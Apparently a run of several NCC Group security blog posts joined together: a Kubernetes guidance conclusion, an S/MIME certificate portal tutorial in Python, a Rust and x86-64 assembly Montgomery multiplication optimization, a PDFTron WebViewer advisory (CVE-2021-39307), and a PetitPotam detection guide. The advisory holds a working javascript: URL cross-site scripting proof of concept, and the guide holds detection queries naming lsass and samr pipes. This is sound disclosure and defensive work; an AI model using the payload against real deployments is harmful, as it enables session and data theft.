This is something that Kubernetes can help with, as the whole concept of orchestration is intended to keep services running even as nodes go on and offline. Despite this, we still regularly see customers running nodes that haven’t had patches applied in several months, or even years. (As a tip, server uptime isn’t a badge of honour as much as it used to be; it’s more likely indicative that you’re running an outdated kernel).

Closing Thoughts

The advice issued in this NSA/CISA document has a solid technical grounding and should generally be followed, but some aspects are outdated or are missing some key context. This is almost always the case with anything in Kubernetes given the rapid development pace at which the project is still working. As with any technical security guidance, documents such as this CTR should be taken as guidance and reviewed with suitable levels of business/security context, because when it comes to container security, one size definitely does not fit all.

tl;dr

NCC Group’s Research & Development team designed and built CertPortal which allows users to create and manage S/MIME certificates automating the registration and renewal to allow enterprise scale deployment.

The core of the system integrates DigiCert to create an S/MIME certificate and then storing both the certificate, the password, creation and expiry dates in a CyberArk safe. It then publishes the public certificate in the Microsoft Exchange Global Address List against the user’s account.

The portal presents the user with the two options of ‘show me my password’ and ‘download certificate’. This approach has removed a number of manual processes whilst providing significant efficiency and security gains.

The Beginning

Encryption as standard is both a crowning jewel and a backbone of modern HTTP traffic, so much so that browsers warn users of websites that do not offer it. On top of that, services like Let’s Encrypt make the process of adding encryption to a public facing website easy.

In the world of S/MIME this is not the case. There are services such as DigiCert or Entrust which allow API users to automatically generate S/MIME certificates but this still leaves a large earnest on the IT team to run the scripts to generate a password and private key, request a certificate, then securely deliver all of the above to the end user.

In steps CertPortal, an S/MIME self-service portal to fill this void. It needs to be able to do three things well:

1. On request generate a password, private key, and CSR, request a certificate, and generate a PFX file.
2. Securely store those files and retrieve them on request.
3. Provide a simple-to-use interface for users to perform the first two things.

In this post we will be discussing the first thing: Generating an S/MIME certificate.

Passwords, Private Keys, and CSRs

Assuming we have received a request to generate an S/MIME certificate the first thing we need to do is prepare ourselves to request a certificate from our Certificate Authority. This requires us to create a cryptographically secure password, a private key, and a Certificate Signing Request (CSR).

Secure Passwords

The first step is to generate a secure password, fortunately for us since Python 3.6 the secrets module has been available which makes this process fairly straight forward. We want our script to be repeatable so we will store our generated password on local disk so if we have a failure later on in the pipeline we can easily restart the process to try again.

This means we need to check our storage directory for an existing password file and return the contents if found. Otherwise we need to generate a cryptographically secure password, store it in the storage directory, and return the newly generated password.

import os
import secrets

PWD_CHRS = "[email protected]#$%^&*-+=,."
PWD_LEN = 16


def get_password(storage_dir: str) -> bytes:
    pwd_file = os.path.join(storage_dir, 'password.txt')
    try:
        with open(pwd_file, 'rb') as f:
            password = f.read()
    except FileNotFoundError:
        list_rand_chrs = [secrets.choice(PWD_CHRS) for _ in range(PWD_LEN)]
        password_str = ''.join(list_rand_chrs)
        password = password_str.encode('utf-8')
        with open(pwd_file, 'wb') as f:
            f.write(password)

    return password

The interesting line from the above excerpt is generating the password. Choosing the password characters and length is a matter for your own security policies. There are three steps to generating the password:

1. Generate a list of random characters: secrets.choice(PWD_CHRS) for _ in range(PWD_LEN)
2. Convert the list into a string ''.join(list_rand_chrs).encode('utf-8')
3. Convert the list into its bytes representation: ''.join(list_rand_chrs).encode('utf-8')

Private Keys

Once we have a password the next step is to generate a private key. To achieve this we will use the cryptography package. Like the previous step we want this step to be robust and repeatable.

This means we need to check our storage directory for an existing private key file, loading it using the password, and return it. Otherwise we generate a new private key with the password, store it in the storage directory, and return the private key.

import os

from cryptography.hazmat.primitives.serialization import load_pem_private_key
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

KEY_SIZE = 4096


def get_private_key(storage_dir: str, password: bytes):
    key_file = os.path.join(storage_dir, 'private.key')
    try:
        with open(key_file, 'rb') as f:
            key = load_pem_private_key(
                f.read(), password, default_backend())
    except (ValueError, FileNotFoundError):
        key = rsa.generate_private_key(
            public_exponent=65537,
            backend=default_backend(),
            key_size=KEY_SIZE)

        with open(key_file, 'wb') as f:
            f.write(key.private_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PrivateFormat.TraditionalOpenSSL,
                encryption_algorithm=serialization.BestAvailableEncryption(password)))

    return key

This process is fairly straight forward when you know what you’re doing. The important part is choosing the key size which needs to be a power of 2 (at least 2048).

Certificate Signing Requests

The last part of this step is creating the Certificate Signing Request (CSR). To achieve this simply follow the tutorial provided by the cryptography package with a couple of minor amendments:

csr = x509.CertificateSigningRequestBuilder().subject_name(x509.Name([
    # Provide various details about who we are
    x509.NameAttribute(NameOID.COMMON_NAME, csr_attrs['common_name']),
    x509.NameAttribute(NameOID.COUNTRY_NAME, csr_attrs['country_name']),
    x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, csr_attrs['state_name']),
    x509.NameAttribute(NameOID.LOCALITY_NAME, csr_attrs['locality_name']),
    x509.NameAttribute(NameOID.ORGANIZATION_NAME, csr_attrs['organization_name']),
    x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, csr_attrs['organization_unit_name']),
])
).add_extension(x509.SubjectAlternativeName([
    x509.DNSName(csr_attrs['common_name'])
]), critical=False
).sign(key, hashes.SHA512(), cryptography_default_backend())

We need to set the ‘Common Name’ and subject ‘Alternative Name’ as the email address the S/MIME is being generated for. There is no need to check the storage directory for an existing CSR as, unlike the password and private key, the CSR will be the same every time (if we use the same private key).

Asking the Certificate Authority

Now that we have a password, private key, and CSR we can move onto asking the Certificate Authority (CA) for an S/MIME certificate. This step will vary depending on which provider we are going to use but the basic process is the same for all:

1. Authenticate with their API
2. Request a new S/MIME type certificate from their API
3. Store the request ID returned for future reference
4. Waiting until the S/MIME certificate has been issued
5. Download the certificate (including all chain certificates)
6. Store the certificates in the same storage directory as the password, private key, and CSR

Bundle into a PFX (PKCS12) file

Lastly, we need to bundle the private key, S/MIME certificate, and chain certificates into a PFX (PKCS12) file for our end user to be able to download via the portal. To do this we will require one more Python package: OpenSSL (note that the cryptography package has since added PKCS12 serialization since version 3, however CertPortal currently uses version 2). Like the CSR, the process here is straightforward when you know what you are doing:

from OpenSSL import crypto


def get_pfx(storage_dir: str, cert, chain: list, key, password: bytes, friendly_name: bytes = None):
    """
    Generate a PFX (PKCS12) from the certificate(s), key, and password then store it in a file
    called `smime.pfx` inside `storage_dir`.
    :param storage_dir: Directory to store the PFX file
    :param cert: cryptography S/MIME certificate
    :param chain: List of cryptography chain certificates issued by the CA
    :param key: The cryptography private key
    :param password: The private key password
    :param friendly_name: The friendly name in the PKCS #12 structure
    """
    pfx = crypto.PKCS12()
    pfx.set_friendlyname(friendly_name or b'S/MIME Certificate')
    pfx.set_privatekey(crypto.PKey.from_cryptography_key(key))
    pfx.set_certificate(crypto.X509.from_cryptography(cert))
    pfx.set_ca_certificates([crypto.X509.from_cryptography(c) for c in chain])
    pfx_data = pfx.export(password)

    with open(os.path.join(storage_dir, certificate_file_name('pfx')), 'wb') as f:
        f.write(pfx_data)

    return pfx

We start by creating a crypto.PKCS12 object and setting a friendly name for the certificate. Next we set the private key. Then we set the S/MIME certificate (after converting from the cryptography key) and the same for the CA certificates. Finally we export the data and store it in the storage directory.

Conclusion

At the end of this process we have a secure password, private key, CSR, and PFX ready to be downloaded by the end user. We still need to be able to securely store these files and provide an interface for an end user to generate a new certificate and access existing certificates. We will address the secure storage in a future post.

We hope that this post has given you a good understanding of the how to create an S/MIME certificate progamtically.

Final remarks

We have only looked at the bare bones of this process and as such skipped over many best practices such as storing the configurations, using interfaces and implementing CA specific backends, etc. These are, however, outside the scope of the post.

This is the second blog post in a new code-centric series about selected optimizations found in pairing-based cryptography. Pairing operations are foundational to the BLS Signatures central to Ethereum 2.0, the zero-knowledge arguments underpinning Filecoin, and a wide variety of other emerging applications.

While my prior blog series, “Pairing over BLS12-381,” implemented the entire pairing operation from start to finish in roughly 200 lines of high-level Haskell, this current blog series, “Optimizing Pairing-Based Cryptography” looks at lower-level performance optimizations in more operational systems. The first post in this series covered modular Montgomery arithmetic in Rust from start to finish. This second post takes the Montgomery multiplication algorithm developed in Rust even further to seek the maximum performance a modern x86-64 machine can deliver from an implementation hand-written in assembly language. Several specialized instructions and advanced micro-architectural features enabling increased parallelism result in a Montgomery multiplication routine running more than 15X faster than a generic Big Integer implementation.

Overview

Pairing-based cryptography is fascinating because it utilizes such a wide variety of concepts, algorithms, techniques and optimizations. For reference, the big picture on pairing can be reviewed in the prior series of blog posts listed below.

• Pairing over BLS12-381, Part 1: Fields
• Pairing over BLS12-381, Part 2: Curves
• Pairing over BLS12-381, Part 3: Pairing!

This current blog post focuses on optimizing the most expensive of basic field arithmetic operations: modular multiplication. First, a reference function implemented in Rust with the BigUint library crate is presented alongside a similar reference function adapted for use with Montgomery-form operands. Second, a more optimized routine utilizing operands constructed solely from 64-bit unsigned integers and developed in the prior blog post is presented – this serves as the jumping-off point for assembly language optimization. Third, the complete assembly routine is developed and described with interspersed insights on CPU architecture, micro-architecture, and register allocation. This post then wraps up with some figure of-merit benchmarking results that compare the various implementations.

All of the code is available, ready-to-run and ready-to-modify for your own experimentation. The code is nicely self-contained and understandable, with zero functional dependencies and minimal test/build complexity. On Ubuntu 20.04 with Rust, git and clang preinstalled, it is as simple as:

$ git clone https://github.com/nccgroup/pairing.git
$ cd pairing/mont2
$ RUSTFLAGS="--emit asm -C target-cpu=native" cargo bench

The Reference Operations

Rust, along with the BigUint library crate, makes the basic modular multiplication operation exceptionally easy to code. The excerpt below defines the BLS12-381 prime field modulus with the lazy_static macro and then proceeds to implement the modular multiplication function mul_biguint() using that fixed modulus. This reference function corresponds to the modular multiplication performance a generic application might achieve, and is used later as the benchmark baseline. [Code excerpt on GitHub]

As described in the prior blog post, the Montgomery multiplication algorithm has a lot more potential for performance optimization but uses operands in the Montgomery form ã = a · R mod N, where a is the normal value (or normal form), N is the MODULUS and R is 2³⁸⁴ in our scenario. When operands in Montgomery form are multiplied together, an instance of R⁻¹ needs to be factored into the calculation in order to maintain the result in correct Montgomery form. Thus, the actual operation is mont_mul(ã, b̃) = ã · b̃ · R⁻¹ mod N. The code below declares the R⁻¹ = R_INV constant as calculated in the prior blog post, utilizes the same MODULUS constant declared above, and so implements our mont_mul_biguint() Montgomery multiplication reference function. [Code excerpt on GitHub]

Note that the above function currently has even worse performance characteristics than the prior baseline. This is due to the additional multiplication involving R_INV delivering an even larger input to the very expensive modular reduction operator which involves a division operation. However, it can serve as a more formalized definition of correct functionality, so it will be used internally to support the test code which compares actual versus expected results across different implementations. As an aside, recall that the extra expense of converting the operands to/from Montgomery form is expected to be amortized across many (hopefully now much faster) interim operations.

Montgomery Multiplication Using Rust’s Built-In Types

The primary issue with each of the above multiplication routines is the expensive division lurking underneath the modulo operator. The BigUint crate is wonderful in that it supports both arbitrary precision operands and moduli. However, this flexibility precludes some of the aggressive performance optimizations that can be implemented with fixed-size operands and a constant modulus.

The Rust code shown below from the prior blog post introduces the fixed data structure used for the operands. Operands consist of an array of six 64-bit unsigned integers, each known as a limb. This is followed by the ‘magic constant’ N_PRIME derived in the prior blog post for use in the reduction step, and then the complete Montgomery multiplication function using only Rust’s built-in operators and data types. [Code excerpt on GitHub]

There are three interesting and related things to observe in the code above.

1. A temp array is declared on line 107 that is capable of holding twelve 64-bit limbs. Intuitively, that size makes sense since the overall operation involves a multiplication of two operands, where each operand consists of six 64-bit limbs, so a ‘double-width’ intermediate result is appropriate.
2. The outer loop wraps a partial product step in the first inner loop followed by a reduction step in the second inner loop, and the outer loop index i always acts as a base address whenever the temp array is accessed. Looking more closely at the logic executed during each outer loop iteration, only seven limbs of the temp array are ever active, which is a noticeably smaller working set relative to the overall size of twelve in the temp declaration.
3. As the outer loop iterates, the code essentially steps forward through the working set of the temp array from least significant toward most significant limb, never going fully backwards. In fact, incrementing the loop index i and using it as a base address means the least significant values are effectively falling away one at a time; the final result is derived from only the most significant six limbs of the temp array.

These three observations suggest that it is possible to elegantly implement the work done inside the outer loop within only a handful of active registers. The outer loop can then either iterate as shown or be unrolled, while it shifts the working set one step forward through the temp array each time.

An Aside: CPU Architecture, Micro-architecture, and Register Allocation

Some basic foundation needs to be built prior to jumping into the assembly language implementation. While the term ‘CPU Architecture’ does not have a single, simple or perfectly agreed-upon definition, in this context it describes the higher-level software instruction set and programming model of a processor system – the programmer’s view. At a lower level, the term ‘CPU Micro-architecture’ then describes how a specific processor implementation is logically organized to execute that instruction set – these underlying mechanisms are largely hidden from the application programmer. Both areas have seen tremendous progress and greater complexity over time in the never ending quest for performance that largely comes from increased parallelism. There are a few things to observe for each topic, starting from the lower-level and working upwards.

CPU Micro-architecture

A view into the micro-architecture of Intel’s Core2 machine is shown below. While that machine is over a decade old, the diagram remains very instructive and more modern versions have similar structure with greatly increased capacities. The assembly code we soon develop should run well on all modern Intel and AMD x86-64 processors shipped within the past 5 years (at least).

There are four interesting things to observe in the diagram above.

1. The (pink) instruction fetch logic is capable of supplying six instructions from the fetch buffer to the instruction queue per cycle. Clearly the intent is to keep the multiple parallel execution units downstream (described next) stuffed full of work.
2. The (yellow) execution units are capable of executing multiple similar and dissimilar operations in parallel. The configuration is intended to support many simple and frequent operations separately from the fewer, more complex and rarer operations. The various operations will clearly involve very different throughput and latency characteristics.
3. The (salmon) reservation station helps manage the operand dependencies between instructions, and the register alias table allows for more physical registers than logical registers. The adjacent reorder buffer and retirement register file logic allows instructions to execute out-of-order but get committed in-order. While humans typically think in a nice orderly step-by-step fashion, the actual instruction execution patterns can go wildly out-of-order (provided they are ultimately finalized in-order).
4. While the specific individual pipeline stages are not shown, modern processors have very deep pipelines and thus require extensive branch prediction logic to minimize overhead from mispredictions. This is pertinent to unrolling small loops.

The four items above allow the processor to extract a large amount of the underlying instruction-level parallelism throughout each of the fetch, decode, execute and finalize/retire steps. It is quite fantastic that all of this complexity is effectively hidden from the application programmer. A bigger, better and newer micro-architecture should simply result in better performance on strictly unchanged code.

CPU Architecture

In some cases, specialized instructions are added to the programming model that provide significant speed-up for very specific algorithms. While many people first think of the very well-known ‘Intel MMX instructions for multimedia algorithms’, there have been many other less prominent instances over the years. Intel’s ADX (Multi-Precision Add-Carry Instruction Extensions) feature provides two new addition instructions that can help increase the performance of arbitrary precision arithmetic. Intel’s BMI2 (Bit Manipulation Instruction Set 2) feature contains a new flag-friendly multiplication instruction among several others not relevant to our purpose. Processors supporting these feature extensions have been shipping since roughly 2015, and may offer a significant performance benefit.

The ‘native’ Montgomery multiplication Rust code last shown above involved a large amount of addition operations (outside of the array index calculation) centered around lines 112-114, 118, 124-125 and 129. These operations are building larger-precision results (e.g., a full partial product) from smaller-precision instructions (e.g., a 64-bit add). Normally, a series of ‘Add with carry’ (ADC) instructions are used that add two operands and the carry(in) flag to produce a sum and a new carry(out) flag. The instructions are ordered to work on the least-to-most significant operand limb one at a time. The dependence upon a single carry flag presents a bottleneck that allows just one chain to operate at a time in principle, thus limiting parallelism.

Intel realized the limitation of a single carry flag, and introduced two instructions that effectively use different carry flags. This allows the programmer to express more instruction-level parallelism by describing two chains that can be operating at the same time. The ADX instruction extensions provide:

• ADCX Adds two 64-bit unsigned integer operands plus the carry flag and produces a 64-bit unsigned integer result with the carry out value set in the carry flag. This does not affect any other flags (as the prior ADD instructions did).
• ADOX Adds two 64-bit unsigned integer operands plus the overflow flag and produces a 64-bit unsigned integer result with the carry out value set in the overflow flag. This does not affect any other flags. Note that ordinarily the overflow flag is used with signed arithmetic.

Meanwhile, the Rust code also contains a significant amount of multiplication operations interspersed amongst the addition operations noted above. The ordinary MUL instruction multiplies two 64-bit unsigned integer operands to produce a 128-bit result placed into two destination registers. However, this result also affects the carry and overflow flags – meaning it will interfere with our ADCX and ADOX carry chains. Furthermore, the output registers must be %rax and %rdx which limits flexibility and constrains register allocation. To address this, the BMI2 instruction extensions include:

• MULX Multiplies two 64-bit unsigned integer operands and produces an unsigned 128-bit integer result stored into two destination registers. The flags are not read nor written, thus enabling the interleaving of add-with-carry operations and multiplications.

The two new addition instructions inherently overwrite one of the source registers with the destination result. In other words, adcxq %rax, %r10 will add %rax to %r10 with the carry flag, and place the result into %r10 and the carry flag. The new multiplication instruction requires one of its source operands to always be in %rdx. In other words, mulxq %rsi, %rax, %rbx is the multiplication of %rsi by %rdx with the lower half of the result written into %rax and the upper half written into %rbx. The q suffix on each instruction is simply the quadword suffix syntax of the GNU Assembler.

Register Allocation

The three new instructions described above will form the core of the Montgomery multiplication function in assembly. Since the x86 instruction set is rather register constrained, a strategy that minimizes the actual working set of active values must be developed. We saw earlier how only seven limbs of temp are in play at any one time and the outer loop index i formed a base address when accessing temp. Consider a ‘middle’ iteration of the outer loop, as the simpler first iteration can be derived from this. This flattened iteration is implemented as an assembler macro that can be later placed singly inside an outer loop or in multiple back-to-back instances that unroll the outer loop.

The first inner loop calculating the partial product will be unrolled and assumes temp[i + 0..6] (exclusive) arrives in registers %r10 through %r15. The %rax and %rbx registers will temporarily hold multiplication results as we step through a.v[0..6] * b.v[i] (with a fixed i). The a.v[0..6] (exclusive) operands will involve a relative address using %rsi as the base, while the fixed operand will be held in %rdx. At the end of the inner loop, the %rbp register will be used to hold temp[i + 6].

The second inner loop implementing the reduction step will also be unrolled and assumes temp[i + 0..7] (exclusive) is provided in the registers %r10 through %r15 along with %rbp. The register strategy for holding the multiplication results is modified slightly here due to A) the add instruction requiring a source operand being overwritten by the result, and B) the calculation process effectively shifts the working set to the right by one step (thus the least significant value will drop away, but its carry out will still propagate).

The general plan for register allocation within one ‘middle’ iteration of the outer loop is shown above in simplified fashion. The upper crimson triangle implements the partial product inner loop and is executed first. The lower green triangle implements the reduction step and executes second. Double-width boxes hold the multiplication results, and the red/green arrows identify the two separate carry chains of the addition instructions. The nearly side-by-side placement of the addition operations is meant to hint at their parallel operation. While things visually appear to step forward in a nice orderly single-cycle progression, multiplication latencies are significantly higher than addition so the out-of-order capabilities of the micro-architecture is crucial to performance. The output data within %r10 through %r15 is compatible with input data within %r10 through %r15, so instances of this block can be repeated one after another.

The initial iteration of the outer loop is a simplification of that shown above. Simply assume %r10 through %r15 start at zero and remove everything no longer needed.

Montgomery Multiplication in Assembly

The bulk of the hard work has now been done. A macro implementing one iteration of the outer loop in x86-64 assembly is shown below. The fully unrolled outer loop is implemented with a simplified initial instance followed by five back-to-back instantiations of this code. [Code excerpt on GitHub]

The final Montgomery multiplication function is fully implemented in src/mont_mul_asm.S and is a straightforward concatenation of the following elements:

1. A function label attached to the prologue. Any registers used by the function that are required to be preserved across function calls must be pushed to the stack prior to use. The label corresponds to the extern “C” clause in the Rust lib.rs source file.
2. The MODULUS is stored as quadword constants and their address loaded into the %rcx register. These values are utilized in the reduction step.
3. An instance of the simplified first outer loop.
4. Five instances of the macro shown above. Note the presence of offset parameter on line 82. This is used to form an index into b.v[i] on line 84 and it is increased by 8 on each instance.
5. The final modulus correction logic is virtually identical to what has already been seen for addition: subtract the modulus from the initial result and return that if there is no borrow, otherwise return the initial result.
6. A function epilogue that pops the registers from the stack that were pushed there in the prologue.

Again, the full routine can be seen in its totality here on GitHub. Note that the Rust build.rs source file integrates everything with cargo such that there are no additional steps required to build.

A final aside: Unrolling Rust and intrinsics

The code repository already fully supports further experimentation with A) flattened Rust code that uses the same strategy to minimize its active working set, and B) Rust intrinsics. Let’s briefly touch on both topics before including them in the benchmarking results described next.

The assembly code can be back-ported or re-implemented back into flat/raw Rust with the same ‘register allocation’ strategy to manage the active working set and avoid declaring a temp[] array. This gives surprisingly good results and suggests that a modern micro-architecture can look even further ahead, perhaps up to 200 (simple) instructions, to extract more instruction level parallelism from separate but adjacent carry chains. Hence the old adage: “You can rarely outsmart the compiler”. Look for the fe_mont_mul_raw() function.

Alternatively, Rust provides intrinsics that specifically target the ADCX, ADOX and MULX instructions. Unfortunately, the toolchain cannot emit the first two yet. Nonetheless, the fe_mont_mul_intrinsics() function shows exactly how this is coded. The MULX instruction is indeed emitted and does deliver a significant benefit by not interfering with the flags.

Benchmarking

Everything is ready to go – let’s benchmark! Here are sample results from my machine:

$ RUSTFLAGS="--emit asm -C target-cpu=native" cargo bench
Ubuntu 20.04.2 LTS on Intel Core i7-7700K CPU @ 4.20GHz with Rust version 1.53

1. Addition X 1000 iterations                                       [3.6837 us 3.6870 us 3.6905 us]
2. Subtraction X 1000 iterations                                  [3.1241 us 3.1242 us 3.1244 us]
3. Multiplication by BigUint X 1000 iterations:            [517.54 us 517.68 us 517.85 us]
4. Multiplication in Rust (mont1 blog) X 1000 iter:     [46.037 us 46.049 us 46.064 us]
5. Multiplication in flat Rust X 1000 iterations:           [34.719 us 34.741 us 34.763 us]
6. Multiplication in Rust with intrinsics X 1000 iter:    [31.497 us 31.498 us 31.500 us]
7. Multiplication in Rust with assembly X 1000 iter:    [29.573 us 29.576 us 29.580 us]

There are three caveats to consider while interpreting the above results. First and foremost, consider these results as a qualitative sample rather than a definitive result. Second, each result is presented as minimum, nominal and maximum timing – so the key figure is the central number. Finally, each function is timed across 1000 iterations, so the timing result for a single iteration correspond to units of nanoseconds rather than microseconds. On this machine, the Montgomery multiplication function written in assembly language takes approximately 29.576 ns.

The baseline non-Montgomery multiplication function utilizing BigUint is shown in entry 3. The (non BigUint) Montgomery multiplication function developed in the prior post is entry 4. The benefits of actively managing the working set and unrolling the inner loops can be seen in entry 5. The benefit of the MULX intrinsic appears in entry 6. Pure assembly is shown in entry 7. While the assembly routine provides more than 15X performance improvement over the BigUint reference implementation in entry 3, it also utilizes the CMOV instructions in the final correction steps to reduce timing side-channel leakage relative to all other entries.

What we learned

We started with a reference multiplication routine utilizing the BigUint library crate as our performance baseline. Then we adapted the Montgomery multiplication function in Rust from the prior blog post into an equivalent x86-64 assembly language version that is over 15X faster than the baseline. Along the way we looked at how the micro-architecture supports increased parallelism, how several new instructions in the architecture also support increased parallelism, and got insight into how to use the instructions with planned register allocations. A few hints (leading to intentionally unanswered questions) were dropped regarding the potential of raw Rust and intrinsics, with further investigation left as an exercise for the reader. Finally, we benchmarked a broad range of approaches.

The code is available publicly on GitHub, self-contained and ready for further experimentation.

What is next?

As mentioned at the start, pairing-based cryptography involves a wide range of algorithms, techniques and optimizations. This will provide a large menu of follow-on optimization topics which may ultimately include the polynomial-related functionality that zkSNARKS utilize with pairings. Stay tuned!!

Thank you

The author would like to thank Parnian Alimi, Paul Bottinelli and Thomas Pornin for detailed review and feedback. The author is solely responsible for all remaining issues.

Vendor: PDFTron
Vendor URL: https://www.pdftron.com/
Versions affected: WebViewer UI 8.0 or below
Systems Affected: Web applications hosting the affected software
Author: Liyun Li <liyun.li[at]nccgroup[dot]com>
CVE Identifier: CVE-2021-39307

Summary

PDFTron’s WebViewer UI 8.0 or below renders dangerous URLs as hyperlinks in supported documents, including JavaScript URLs, allowing the execution of arbitrary JavaScript code.

Impact

An attacker could steal a victim’s session tokens, log their keystrokes, steal private data, or perform privileged actions in the context of a victim’s session.

Details

JavaScript URLs are dangerous because they can be used to execute arbitrary JavaScript code when visited. Built-in PDF readers in modern browsers, such as Mozilla’s pdf.js, do not render code-execution-capable URLs as hyperlinks to avoid this issue.

To reproduce this issue, first create the following HTML document and save the rendered content as PDF on a modern browser.

<h2><a href="javascript:document.write`
  <div>
    <form method='GET' action='https://nccgroup.com'>
      <input type='submit' value='NCC Group'>
    </form>
    <script>alert(document.domain)</script>
  </div>
`">Click me</a></h2>

After that, use the “d” parameter to include the uploaded PDF file (e.g. http://webviewer-instance/#d=https://domain.tld/test.pdf).

Support for rendering clickable JavaScript and Data URL should be removed.

Recommendation to Users

Upgrade WebViewer UI to 8.1, available at https://www.pdftron.com/documentation/web/download.

Vendor Communication

2021-08-16: Issue reported to PDFTron
2021-08-17: PDFTron confirmed the vulnerability
2021-08-23: PDFTron issued patch to nightly build
2021-09-09: PDFTron WebViewer 8.1 released 
2021-09-14: Advisory released by NCC Group

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published date:  September 14, 2021

Written by:  Liyun Li

Overview

During the week of July 19th, 2021, information security researchers published a proof of concept tool named “PetitPotam” that exploits a flaw in Microsoft Windows Active Directory Certificate Servers with an NTLM relay attack.  The flaw allows an attacker to gain administrative privileges of an Active Directory Certificate Server once on the network with another exploit or malware infecting a system.  

The following details are provided to assist organizations in detecting and threat hunting for this and other similar types of threats.

Preparation

The default settings of Windows logging do not often catch advanced threats.  Therefore, Windows Advanced Audit Logging must be optimally configured to detect and to be able to threat hunt PetitPotam and similar attacks.

Organizations should have a standard procedure to configure the Windows Advanced Audit Policies as a part of a complete security program and have each Windows system collect locally significant events.  NCC Group recommends using the following resource to configure Windows Advanced Audit Policies:

• Malware Archaeology – Windows Logging Cheat Sheets

Log rotation can be another major issue with Windows default log settings.  Both the default log size should be increased to support detection engineering and threat hunting.

Ideally, organizations should forward event logs to a log management or SIEM solution to operationalize detection alerts and provide a central console where threat hunting can be performed.  Alternatively, with optimally configured log sizes, teams can run tools such as PowerShell or LOG-MD to hunt for malicious activity against the local log data.

Detecting and Threat Hunting NTLM Relay Attacks

The PetitPotam attack targets Active Directory servers running certificate services, so this will be the focus of the detection and hunting.  Event log data is needed to detect or hunt for PetitPotam. The following settings and events can be used to detect this malicious activity:

Malicious Logins

PetitPotam will generate an odd login that can be used to detect and hunt for indications of execution.  To collect Event ID 4624, the Windows Advanced Audit Policy will need to have the following policy enabled:

• Logon/Logoff – Audit Logon = Success and Failure

The following query logic can be used:

• Event Log = Security
• Event ID = 4624
• User = ANONYMOUS LOGON
• Authentication Package Name = NTLM*
• Elevated Token – *1842

Sample Query

The following query is based on Elastic’s WinLogBeat version 7 agent.

• “event.code”=”4624″ and winlog.event_data.AuthenticationPackageName=”NTLM*” and winlog.event_data.ElevatedToken=”*1842″ | PackageName:=winlog.event_data.AuthenticationPackageName | Token:=winlog.event_data.ElevatedToken | WS_Name:=winlog.event_data.WorkstationName | LogonProcess:=winlog.event_data.LogonProcessName | LogonType:=winlog.event_data.LogonType | ProcessName:=winlog.event_data.ProcessName | UserName:=winlog.event_data.SubjectUserName | Domain:=winlog.event_data.SubjectDomainName | TargetDomain:=winlog.event_data.TargetDomainName | TargetUser:=winlog.event_data.TargetUserName | Task:=winlog.event_data.TargetUserName| table([event.code, @timestamp, host.name, event.outcome, WS_Name, UserName, Domain, Token, PackageName, LogonProcess, LogonType, ProcessName, TargetDomain, TargetUser, Task])

Malicious Share Access

PetitPotam will generate odd network share connections that can be used to detect and hunt for indications of execution.  To collect Event ID 5145, the Windows Advanced Audit Policy will need to have the following policy enabled:

• Object Access – Audit Detailed File Share = Success
• Object Access – File Share = Success

The following query logic can be used:

• Event Log = Security
• Event ID = 5145
• Object Name = *IPC*
• Target Name = (“lsarpc” or “efsrpc” or “lsass” or “samr” or “netlogon”

Sample Query

The following query is based on Elastic’s WinLogBeat version 7 agent.

• “event.code”=”5145” and winlog.event_data.ShareName=*IPC* and (“lsarpc” or “efsrpc” or “lsass” or “samr” or “netlogon” or “srvsvc”)
  | Status:= keywords[0] | Src_IP:= winlog.event_data.IpAddress | PID:= winlog.process.pid | UserName:=winlog.event_data.SubjectUserName | Domain:= winlog.event_data.SubjectDomainName | Target_File:= winlog.event_data.RelativeTargetName | Path:= winlog.event_data.ShareLocalPath | Share:= winlog.event_data.ShareName | ObjectType:=winlog.event_data.ObjectType
  | table([event.code, @timestamp, host.name, Status, Src_IP, PID, UserName, Domain, task, Path, Share, Target_File, ObjectType])

If you find any false positives, validating them and excluding or refining the query may be needed.  We hope this information can assist your detection and threat hunting efforts to detect this and similar types of attacks.

Additional Reading and Resources

• Windows Logging Cheat Sheets – https://www.malwarearchaeology.com/cheat-sheets
• Blumira Blog on PetitPotam – https://www.blumira.com/ntlm-relay-attack-petitpotam
• PetiPotam POC for testing and assessments – https://github.com/topotam/PetitPotam
• Mitigating NTLM Relay Attacks on Active Directory Certificate Services – https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429
• Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS) – https://msrc.microsoft.com/update-guide/vulnerability/ADV210003
• Extended Protection for Authentication – https://msrc-blog.microsoft.com/2009/12/08/extended-protection-for-authentication
• Audit Script PSPKIAudit – https://github.com/GhostPack/PSPKIAudit
• Abusing Active Directory Certificate Services – https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
• AD CS relay attack – practical guide – https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/